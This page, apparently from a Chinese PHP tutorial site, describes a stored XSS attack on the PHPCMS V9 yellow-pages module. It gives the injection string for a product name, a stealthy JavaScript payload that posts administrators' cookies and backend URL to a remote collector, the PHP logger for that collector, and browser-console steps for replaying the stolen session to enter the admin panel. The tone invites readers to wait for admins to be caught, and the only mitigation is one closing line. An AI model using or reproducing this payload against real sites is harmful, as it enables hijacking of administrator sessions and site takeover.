来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] 原理PHPCMS后台中是通过Cookie跟QueryString中的pc_hash来判断你是否是系统管理员的,其中Cookie是存在用户本地的,pc_hash是存在站点数据库的。如果你得到这两者并在构造浏览器环境那么你打...
原理 PHPCMS后台中是通过Cookie跟QueryString中的pc_hash来判断你是否是系统管理员的,其中Cookie是存在用户本地的,pc_hash是存在站点数据库的。如果你得到这两者并在构造浏览器环境那么你打开网站的后台即可获得相应的管理员权限。 PHPCMS V9 黄页模块的设计不严格没有严格的过滤用户的输入使得用户可以构造脚本并且成功提交。而此脚本只要获得用户的Cookie数据已经PC_HASH那么就可以构造浏览器环境实现无需登录就进入后台管理系统。 漏洞重现 首先假设你已经是网站中的商家一员并已经有权限发布产品或者商机或者其他可在后台界面看到的列表的类型。 我们添加一个产品类型,注意在产品名称这里的时候构造如下的文本:{随意名称}<script src={jsurl}></script>,其中jsurl为你远程的站点脚本。 ,然后点击提交,那么管理员在查看 模块-》企业黄页-》信息管理-》产品信息管理 的时候就已经默认调用了你的远程带么了。 那么你远程的脚本应该是怎么样的才能获取到相应的Cookie跟pc_hash的呢。 有一种PHP代码是这样的: <?php print_r($_SERVER['HTTP_REFERER']); print_r($_COOKIE); 但是这样其实不行的,因为Cookie跨域了。无法获取到关键的Cookie。 这里既然说到了XSS就不得不用到JavaScript。 (function() { var createElement = function(tag, obj) { //创建元素 var elem = document.createElement(tag); for( var k in obj ) { if( obj.hasOwnProperty(k) ) { elem[k] = obj[k]; } } return elem; } document.write('<style type="text/css">.h{display:none}</style>'); var href = window.location.href, cookie = document.cookie, iframe = createElement("IFRAME", { name : "QPWOEIRU96", src : "about:blank", className : "h" }), form = createElement("FORM",{ target : "QPWOEIRU96", action : "http://127.0.0.1/cross.php", //远程PHP文件 method : "POST", //提交方式 id : "QPWOEIRU96", className : 'h' }); form.appendChild(createElement("textarea", { name : "cookie", value : cookie })); form.appendChild(createElement("textarea", { //后台地址 name : "href", value : href })); form.appendChild(createElement("textarea", { //网站 name : "host", value : "http://" + window.location.host })); form.appendChild(createElement("textarea", { //时间Unix时间戳 name : "time", value : +new Date() })); document.body.appendChild(iframe); document.body.appendChild(form); document.getElementById("QPWOEIRU96").submit(); })(); 为什么写的那么麻烦?因为此脚本具有隐蔽性。你运行跟没运行管理员是看不到任何直观的变换的,而且利用了闭包特性,不会对全局JavaScript对象造成破坏。 以上脚本的思路是:构造一个id叫QPWOEIRU96的表单,然后发送到一个QPWOEIRU96的隐藏iframe,实现POST跨域发送数据。 当然你得在远程创建一个脚本来获取数据,可以使用如下的一句话PHP代码: <?php file_put_contents("temp.txt", json_encode($_POST) . "\r\n", FILE_APPEND); 然后就等着网站管理员们中招吧。 如何使用获取到的数据? 随着时间的增长你会发现temp.txt下密密麻麻的多了很多json数据。 直接获取最后一条数据放到Chrome的控制台里: window.location = (获取的json数据).host;// www.2cto.com跳到该页面之后再执行以下的document.cookie = (获取的json数据).cookie;window.location = (获取的json数据).href; ,然后你会发现就华丽丽的进到了后台管理页面中。 缺点 PC_HASH跟Cookie都会过期,所以抓到数据马上进入吧。 如果不知道密码,你只能登录一次如果退出了除非下一次再获得数据否则无法用上次的数据进入。 修复方案 停用PHPCMS V9黄页模块等待官方修复或者自己进行过滤 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com